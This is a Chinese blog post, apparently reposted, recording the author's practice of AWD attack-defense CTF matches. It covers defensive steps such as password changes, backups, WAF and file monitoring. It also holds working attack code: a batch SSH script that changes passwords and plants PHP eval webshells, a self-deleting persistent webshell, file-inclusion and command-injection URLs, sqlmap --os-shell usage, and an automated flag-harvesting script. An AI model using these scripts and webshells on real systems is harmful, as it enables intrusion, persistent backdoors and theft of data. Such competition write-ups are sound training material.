AWD的复现

news2024/10/23 19:49:14

学习awd的相关资料:速成AWD并获奖的学习方法和思考记录- Track 知识社区 - 掌控安全在线教育 - Powered by 掌控者(包含使用脚本去批量修改密码)

在复现之前去了解了以下AWD的相关脚本

资料:AWD批量攻击脚本使用教程-CSDN博客

AWD批量攻击脚本使用教程-CSDN博客

AWD攻防工具脚本汇总(一) - 卿先生 - 博客园

kali中的parrot工具可以审计代码:

基本的防守策略 

一、修改用户密码和服务密码

1.修改linux的用户密码:

#passwd

如果有权限就删除用户:

#userdel -r (用户名)

先在kali中输入cat /etc/passwd 查看系统中用户的关键信息

再输入cat /etc/passwd |grep bash 过滤一下

然后就可以使用命令删除后门用户

2.修改mysql的密码(以下是在Xshell中操作):

#update mysql.user set password=password或者md5('密码') where user='root';

 可以先使用select host,user,password from mysql.user;来查看

然后再删除匿名的用户:

#delete from mysql.user where user=' ';

刷新配置:

#flush privileges;

#使用mysql -u root -p命令进入数据库再进行相关的操作

注意:这里要改配置文件 

3.修改网站后台的密码

从网站页面或者源码或者御剑找到后台的页面,然后尝试弱口令登入后改管理员的密码

 二、web的防护

AWD指南_php流量监控awd-CSDN博客

1.将网站目录打包成tar

命令:tar 

在Xshell中执行命令 bash

备份根目录: tar -czvf  temp/xxx.tar.gz/var/www/html(将后面的文件备份到前面的temp文件的指定文件中)

解压:tar -xzvf temp/xxx.tar.gz-C/var/www/html

2.用ssh或ftp将打包文件拉到本地

这里使用xftp软件上传

3.将文件拖到D盾中进行扫描有关的漏洞

4.用ssh控制或者ftp控制服务器将木马文件删除或者发现网站存在后门漏洞直接执行#echo >xxx.php

在xshell中复制文件名,再使用rm -f命令删除木马文件。

这样容易宕机,建议使用注释

三、关闭shell连接进程

1.查看正在连接的进程

#who

2.若发现不是自己的ip地址登录了服务器,就关闭连接进程

#pkill -kill -t pts/进程号

四、网站守护

1.查看新增文件并删除

查看命令:find ./ -cmin -30 删除命令:rm -f

2.删除不死马

新建编辑:vim  保存::wq

#vim killshell.sh

#chmod 777 killshell.sh (提供权限)

#nohup ./killshell.sh & (在后台不断的运行)

可以使用ls命令来看是否删除木马文件

3.发现网站页面存在漏洞

#echo > xxx.php (将内容删除为空)

五、防御加固,数据库备份

资料:AWD攻防比赛流程手册_awd加固-CSDN博客

1.使用mysql -uroot -proot连接数据库

2.使用show databases;查看数据库  exit可退出数据库

3.使用mysqldump -uroot -proot (指定的数据库,例如:test等) > /temp/db.sql进行备份

4.恢复数据库:

先使用命令连接数据库,重新创建一个新的数据库(create database test;),使用该数据库,还原数据库的命令(source /temp/db.sql“数据库的绝对路径”;),使用show databases来是否还原成功;

5.需要修改config.php文件中的配置,以上做了什么修改,config.php文件中就需要修改

步骤:先cd进入html文件目录下,使用vim命令打开并修改保存

六、启用通防

通用防御:通过一个脚本来抵挡攻击,还可以观看流量访问别人对你的攻击

这里演示看鸟脚本

AWD Watchbird 安装与使用教程-CSDN博客

【watchbird使用】-CSDN博客

使用

  • 下载最新 release
  • 将waf.so,watchbird.php文件存放在/var/www/html或其他目录中
  • 将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行php watchbird.php --install [Web目录], 安装器将输出安装了watchbird的文件路径
  • 访问任意启用了waf的文件, 参数?watchbird=ui打开watchbird控制台, 创建一个初始密码
  • 如需卸载, 请在相同的位置输入php watchbird.php --uninstall [Web目录], 如果您多次运行了安装, 请多次运行卸载直到卸载器无输出

七、文件监控 

FileMonitor 项目使用教程-CSDN博客

FileMonitor for AWD(AWD文件监控)是一款专门为AWD比赛所写的一款监控脚本,基于Python3。 目的:确保源码文件夹下的文件不发生改变,防止被其他队伍上传木马。

功能:

  • 备份当前目录下所有文件及目录,储存在./bak目录中
  • 计算当前文件夹下所有文件(包括子目录下的文件)的MD5值,并实时监测,当MD5值发生变化,删除该文件,并从备份文件中将其还原
  • 实时监测新生成的文件,并将新生成的文件修改后缀名,并移动到./bak/drop文件夹内
  • 当原始文件被删除,从备份文件中恢复该文件

 使用:

将脚本放到源码文件夹,并在命令行输入

$ python3 ./FileMonitor.py

实例:

 

基本攻击策略

这里主要就是写代码

1.批量用户登入修改密码并写入webshell且获取flag值

脚本如下:

ls/home/

#!/usr/bin/env python

#-*- coding:utf-8 -*-

import paramiko

for i in [1,2,3,4,5,6,7,8,9,10]:

try:

host = "4.4."+str(i)+".100"

s=paramiko.SSHClient()

s.set_missing_host_key_policy(paramiko.AutoAddPolicy())

s.connect(hostname=host,port=22,username='user1',password='123456')

stdin,stdout,stderr = s.exec_command('passwd\n')

stdin.write("123456\nPass@123.com\nPass@123.com\n")

stdin,stdout,stderr = s.exec_command("echo '<?php eval($_POST[cmd]);?>'>/var/www/html/.zack.php")

stdin,stdout,stderr = s.exec_command('curl http://192.168.245.250/getkey')

print(host+':'+stdout.read().decode('utf-8'))

s.close()

except:

print(host+':Fails!')

2.批量调用webshell获取flag

脚本如下:

#!/usr/bin/env python

#-*- coding:utf-8 -*-
import requests
for i in [1,2,3,4,5,6,7,8,9,10]:
try:
url="http://4.4."+str(i)+".100:"+str(1005)+"/.zack.php"
result=requests.post(url,data={'cmd':"system('curl http://192.168.245.250/getkey');"},timeout=2)
print(url+'-->'+result.text)
//在try块中,代码首先构建了一个URL,该URL由固定的IP段(4.4.)、循环变量i、固定的IP段(.100)、端口号(1005)和文件路径(/.zack.php)组成。然后,使用requests.post方法向这个URL发送一个POST请求,其中data参数是一个字典,包含了一个名为cmd的键,其值是一个尝试执行系统命令的字符串(这里是通过curl命令从另一个IP地址192.168.245.250获取数据)。请求还设置了超时时间为2秒。如果请求成功,它将打印出URL和响应的文本内容。
except:
print(url+'-->Fails!')
//如果在尝试发送POST请求的过程中发生了任何异常(如网络问题、连接拒绝、超时等),except块将捕获这个异常,并打印出出错的URL和一个失败消息。

3.不死马种植

将不死马上传网站目录,访问不死马后在当前目录生成.zack.php后门webshell。

脚本如下:

<?php

set_time_limit(0);

#1表示忽略与客户端断开连接,继续执行脚本

ignore_user_abort(1);

#执行完后删除自身

unlink(__FILE__);

while (1) {

$content = '<?php @eval($_POST[zack]);?>';

file_put_contents(".zack.php", $content);

usleep(500); #暂停0.5秒钟

}

?>

4.杀死不死马的方法,查看不死马的进程ID:

# top | grep httpd

chmod 777 kill.sh

nohup ./kill.sh &

查到ID为 11198 ,根据ID号和webshell名写.sh脚本。

# vim kill.sh

第二次AWD的复现

参考:红蓝对抗-AWD全流程攻略03(攻防模拟)_awd网络攻防-CSDN博客

红蓝对抗-AWD全流程攻略06(起手防御)_awd防守-CSDN博客

红蓝对抗-AWD全流程攻略05(批量获取flag)_awd批量获取flag脚本-CSDN博客

CTF-AWD-Yunnan_2_awd 文件包含漏洞利用-CSDN博客

使用nmap去扫使用的主机,命令:nmap 172.16.17.202 -p 10000-30000

再根据D盾扫出来的木马去攻击对方的网站

footer.php中的命令执行漏洞

脚本

import requests //这行代码导入了Python的requests库,该库用于发送HTTP请求。
f = open('ip.txt','r') //这行代码以只读模式('r')打开名为ip.txt的文件,并将文件对象赋值给变量f。这个文件应该包含了一行一个的IP地址或主机名列表。
data = {"shell":'cat /flag'} //这里创建了一个名为data的字典,它将作为POST请求的body发送。在这个例子中,它包含一个键"shell",其对应的值为字符串'cat /flag'。
for i in f.readlines(): //这行代码遍历ip.txt文件中的每一行。f.readlines()读取文件的所有行,并返回一个列表,其中每个元素都是文件的一行(包括末尾的换行符)。然后,它遍历这个列表,每次迭代中,变量i都会被赋值为列表中的一个元素(即文件中的一行)。
    url = 'http://'+i.strip()+'/footer.php' //这行代码构建了一个URL,它由http://前缀、当前迭代的行(通过i.strip()去除末尾的换行符)和/footer.php路径组成。这个URL是POST请求的目标地址。
    r = requests.post(url,data=data) //使用requests.post()函数向前面构建的URL发送POST请求,并将data字典作为请求体发送。r是一个响应对象,包含了服务器的响应。
    x = r.text //从响应对象r中获取响应的文本内容,并将其赋值给变量x。这通常包含HTML页面、JSON数据或其他文本格式的内容,具体取决于服务器的响应。
    print(url +'    '+ x) //最后,这行代码打印出请求的URL和响应的文本内容,两者之间用四个空格分隔。这有助于用户了解每个请求的目标地址以及服务器对该请求的响应。

 

about.php中的文件包含漏洞

http://172.16.17.202:15054/about.php?file=/flag

contact.php中的fopen漏洞

http://172.16.17.202:15054/contact.php?path=/flag

admin/header.php中的命令执行漏洞

http://172.16.17.202:18922/admin/header.php?p=cat%20/flag

search.php中的sql注入

<?php
	include 'header.php'; //这行代码包含了名为header.php的文件。
	include_once('config.php'); //include_once与include类似,也是用于包含并运行指定文件。不同之处在于,include_once会检查该文件是否已经在该脚本中被包含过,如果是,则不会再次包含。
	if (!empty($_GET['id'])) {
	$id=$_GET['id'];
	$query = "SELECT * FROM news WHERE id=$id";
	$data = mysqli_query($dbc,$query);	
	} //这段代码首先检查$_GET['id']是否非空。$_GET是一个超全局变量,用于收集表单数据或URL的查询字符串。如果URL中包含?id=某个值,那么$_GET['id']就会包含那个值。
    如果$_GET['id']非空,代码将其值赋给变量$id,然后构造一个SQL查询语句,用于从news表中检索ID等于$id的记录。
    接着,使用mysqli_query()函数执行这个查询。这个函数需要两个参数:数据库连接(在这里是$dbc,它应该在config.php文件中被定义并初始化)和SQL查询语句。执行成功后,$data将包含查询结果。
	$com = mysqli_fetch_array($data); //这行代码尝试从$data(即上一步的查询结果)中获取一行数据。mysqli_fetch_array()函数默认以关联数组和索引数组的形式返回结果集中的一行
?>

直接上sqlmap 对 search.php 页面上的 id 参数进行SQL注入测试

-u: 指定目标 URL。
--dbs: 这是一个选项,它告诉 sqlmap 在找到 SQL 注入点后,尝试枚举数据库服务器上的所有数据库名称。
--is-dba:  sqlmap 在找到 SQL 注入点后,尝试检测当前注入的用户是否拥有数据库管理员(DBA)权限。拥有 DBA 权限的用户可以执行数据库中的任意操作,包括创建、删除和修改表,以及读取和写入数据等。
--os-shell: 利用 SQL 注入漏洞来执行操作系统命令。获得一个交互式的 shell,可以在目标服务器上执行任意的操作系统命令。

--os-shell 拿到shell,查看flag 

echo 命令写入后门 

echo命令:
第一种:echo 'ilove u' > a.txt  *在a.txt这个文件中输入iove u,如果没有这个文件则创建。如果有这个文件,那么新内容代替原来的内容。
第二种:echo 'ilove u' >> a.txt  *在a.txt这个文件中输入ilove u,如果没有这个文件则创建,如果有这个文件,那么新内容添加在原来内容的后面。

使用蚁剑连接,连接成功

在根目录下找到flag

login.php万能密码

万能密码(sql注入)_sql注入万能密码-CSDN博客

代码审计

直接上sql注入的万能密码,得到flag

修复万能密码

$user =$_POST['user'];修改成
$user = mysql_real_escape_string($ POST['user']);

admin/index.php中的文件上传

脚本参考:红蓝对抗-AWD全流程攻略05(批量获取flag)_awd批量获取flag脚本-CSDN博客

脚本参考:

import requests
import time
import schedule
import os

payload ="?c=system('cat /flag');"
page=".a.php"
urls = [
    'http://172.16.17.202:10250/',
    'http://172.16.17.202:10298/',
    'http://172.16.17.202:10869/',
    'http://172.16.17.202:12186/',
    'http://172.16.17.202:12232/',
    'http://172.16.17.202:12750/',
    'http://172.16.17.202:14219/',
    'http://172.16.17.202:15054/',
    'http://172.16.17.202:16767/',
    'http://172.16.17.202:17365/',
    'http://172.16.17.202:18922/',

]


def get_flag():
    for url in urls:
        n_url = url + page + payload
        # print(n_url)
        response = requests.get(url=n_url)
        if response.status_code == 200:
            # 获取源代码中的所有文本内容,并按行拆分
            lines = response.text.split('\n')

            # 获取第一行行内容
            choice_line = lines[0]

            with open('hm_flag1.txt', 'a', encoding='utf-8') as file:
                file.write(choice_line+'\n')


def support_flag():
    with open('hm_flag1.txt', 'r', encoding='utf-8') as file:
        content = file.read()
        # print(content)
        for line in content.split('\n'):
            # print(line)
            url = 'http://172.16.17.202:9090/'
            data = {
                "flag": line,
                "token": "4300f7f61934925694f6138f3045e61e"
            }
            response = requests.post(url, data=data)
            # print(response.text)
            time.sleep(1)

    # 提交完所有 flag 后删除文件
    os.remove('hm_flag1.txt')


def job():
    #添加全局变量,跟踪是否是第一次执行任务
    global first_run
    get_flag()
    support_flag()
    print(time.strftime("%Y-%m-%d %H:%M:%S"))

    if first_run:
        #每五分钟执行一次
        schedule.every(5).minutes.do(job)
        first_run = False


if __name__ == '__main__':
    first_run = True
    job()

    while True:
        schedule.run_pending()
        time.sleep(1)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2221826.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网络安全有关法律法规

1. 前言 在当今数字化高速发展的时代&#xff0c;网络安全已成为关乎国家、企业和个人的重要议题。为了应对日益复杂的网络安全挑战&#xff0c;一系列网络安全法律法规应运而生&#xff0c;它们如同坚实的盾牌&#xff0c;守护着我们的数字世界。现在是2024年10月&#xff0c…

军团服务QA角度总结

需求背景&#xff1a; 军团业务诞生的时候承接家族群组功能&#xff0c;玩法邀请成员做任务->积分升级->发送奖励。还是拉收入的一个业务载体。收入才是王道。 军团服务端核心就三个&#xff1a;军团创建&#xff0c;人员管理和军团奖励。 军团创建&#xff1a; 创建…

每天练打字8:今日状况——常用字后五百击键4.5第1遍进行中,赛文速度105.75

今日跟打&#xff1a;738字 总跟打&#xff1a;125701字 记录天数&#xff1a;2459天 &#xff08;实际没有这么多天&#xff0c;这个是注册账号的天数&#xff09; 平均每天&#xff1a;50字 本周目标完成进度&#xff1a; 练习常用单字后500&#xff0c;击键3.5&#xff0c;…

kernel32.dll的功能、作用,教大家几种修复kernel32.dll错误的办法

当这个文件出现问题时&#xff0c;用户可能会遇到各种错误消息&#xff0c;例如“缺失kernel32.dll”或“kernel32.dll发生错误”。这些错误不仅令人困扰&#xff0c;还可能威胁到您的数据安全和系统性能。接下来&#xff0c;本文将教大家几种修复kernel32.dll错误的有效方法&a…

群控系统服务端开发模式-业务流程图补充

进天有读者给我反馈&#xff0c;业务流程图看的不是很明确&#xff0c;所以我把未画完的业务流程图补充完毕。也希望以后更多的读者给我评论及意见。 一、业务流程梳理 1、非业务流程 a、添加部门、添加级别、添加执行方式。因为这些参数都是要被其他地方调用的&#xff0c;更…

word中的内容旋转90度

在vsto、Aspose.Words 中&#xff0c;默认没有直接的 API 可以让表格整体旋转 90 度。然而&#xff0c;我们可以通过一些方式来实现类似的效果&#xff0c;具体思路如下&#xff1a; 将表格插入到一个形状&#xff08;Shape&#xff09;或文本框中&#xff0c;然后旋转该形状。…

影刀RPA实战番外:excel函数应用指南

Excel函数是用于执行特定计算、分析和数据处理任务的预定义公式。它们可处理数学计算、文本处理、逻辑判断、日期和时间运算、查找和引用数据等。例如&#xff0c;SUM函数可以计算一系列数字的总和&#xff0c;IF函数进行逻辑测试&#xff0c;VLOOKUP函数在表格中查找数据&…

Oracle CONNECT BY、PRIOR和START WITH关键字详解

Oracle CONNECT BY、PRIOR和START WITH关键字详解 1. 基本概念2. 数据示例3. SQL示例3.1. 查询所有员工及其上级3.2. 显示层次结构3.3. 查询特定员工的子级 4. 结论 在Oracle数据库中&#xff0c;CONNECT BY、PRIOR和START WITH关键字主要用于处理层次结构数据&#xff0c;例如…

我悟了,华为FreeBuds 6i这样戴更稳了!

谁懂啊&#xff0c;才知道华为FreeBuds 6i标配多种尺寸的耳塞&#xff08;如S、M、L&#xff09;&#xff0c;方便大家根据自己耳道大小自由选择。如果耳机戴上后感到耳朵不适或松动&#xff0c;可能是耳塞尺寸不匹配。 小提示&#xff1a; 耳塞过大 可能会造成压迫感&#xf…

kafka自定义配置信息踩坑

org.apache.kafka.common.config.ConfigException: Invalid value 0 for configuration acks: Expected value to be a string, but it was a java.lang.Integer 场景描述&#xff1a; 单个kafka使用springboot框架自带的 yml 配置完全OK&#xff08;因为底层会帮我们处理好类…

CSS 设置网页的背景图片

背景 最近正好在写一个个人博客网站“小石潭记”&#xff0c;需要一张有水&#xff0c;有鱼的图片。正好玩原神遇到了类似场景&#xff0c;于是截图保存&#xff0c;添加到网站里面。以下是效果图&#xff1a; css 写个class&#xff0c;加到整个网页的body上 .bodyBg {ba…

接口测试 —— 如何测试加密接口?

接口加密是指在网络传输过程中&#xff0c;将数据进行加密&#xff0c;以保护数据的安全性。接口加密可以采用多种加密算法&#xff0c;如AES、DES、RSA等。测试接口加密的目的是验证接口加密算法的正确性和安全性。以下是一些详细的测试方法和注意事项&#xff1a; 接口加密字…

A-【项目开发知识管理】Android AIDL跨进程通信

Android AIDL跨进程通信 文章目录 Android AIDL跨进程通信0.我为啥要写这篇文章1.AIDL是干啥的&#xff1f;1.1简述1.2官方话 2.在AndroidStudio中怎么干&#xff1f;2.1准备工作2.2在项目A中创建AIDL文件夹2.3在项目A中创建一个aidl文件2.4将项目A进行一次Rebuild操作2.5在项目…

计算机专业大学四年的学习路线(非常详细),零基础入门到精通,看这一篇就够了

前言 许多学子选择踏上计算机这条充满挑战与机遇的道路。但在大学四年中&#xff0c;如何规划自己的学习路线&#xff0c;才能在毕业时脱颖而出&#xff0c;成为行业的佼佼者呢&#xff1f; 第一学年&#xff1a;基础知识的奠基 1.1 课程安排 在大学的第一年&#xff0c;重…

超详解C++类与对象(下)

目录 1. 初始化列表 1.1. 定义 2.2. 注意 2. 隐式类型转换 2.1. 内置类型 2.2. 自定义类型 2.3. explicit关键字 3.类的静态成员 2.1. 定义 2.2. 注意 4.const成员函数 5. 友元 5. 1友元函数 5.2. 友元类 6. 内部类 6.1. 定义 6.2. 注意 7. 匿名对象 7…

手撕布隆过滤器:原理解析与面试心得

前言 说来话长&#xff0c;话来说长。前些天我投了一些日常实习的简历&#xff0c;结果足足等了两个礼拜才收到面试通知&#xff0c;看来如今的行情确实是挺紧张的。当时我是满怀信心去的&#xff0c;心想这次一定要好好拷打面试官一番&#xff0c;结果没想到&#xff0c;自我…

一、python基础

python基础 认识Python1. Python介绍1.1 为什么学习Python1.2 Python发展历史 2. 语言分类简介2.1 编译型2.2 解释型 Python环境搭建1. Python 解释器1.1 Python解释器下载1.2 Python解释器安装 2. 解释器运行Python脚本2.1 演练步骤 PyCharm1. PyCharm介绍2. PyCharm安装3. Py…

15分钟学Go 第6天:变量与常量

第6天&#xff1a;变量与常量 在Go语言中&#xff0c;变量和常量是编程的基础概念。理解如何定义和使用它们不仅能帮助我们管理数据&#xff0c;还能增强代码的可读性和可维护性。在本章中&#xff0c;我们将详细探讨Go语言中的变量和常量&#xff0c;涵盖它们的定义、使用、作…

机器学习建模分析

机器学习 5.1 机器学习概述5.1.1 机器学习与人工智能5.1.2 python机器学习方法库 5.2 回归分析5.2.1 回归分析原理5.2.2 回归分析实现 5.3 分类分析5.3.1 分类学习原理5.3.2 决策树5.5.3 支持向量机 5.4 聚类分析5.4.1 聚类任务5.4.2 K-means算法 5.5 神经网络和深度学习5.5.1神…

python配合yolov11开发分类训练软件

上一篇文件写了用yolo分类模型开发分类软件&#xff0c;这边文章在上个分类软件的基础上加入训练功能环境配置:pycharm&#xff0c;PySide6 6.6.1 &#xff0c;PySide6-Addons 6.6.1&#xff0c;PySide6-Essentials 6.6.1&#xff0c;torch 2.3.1cu121&#xff0c;torchaudio 2…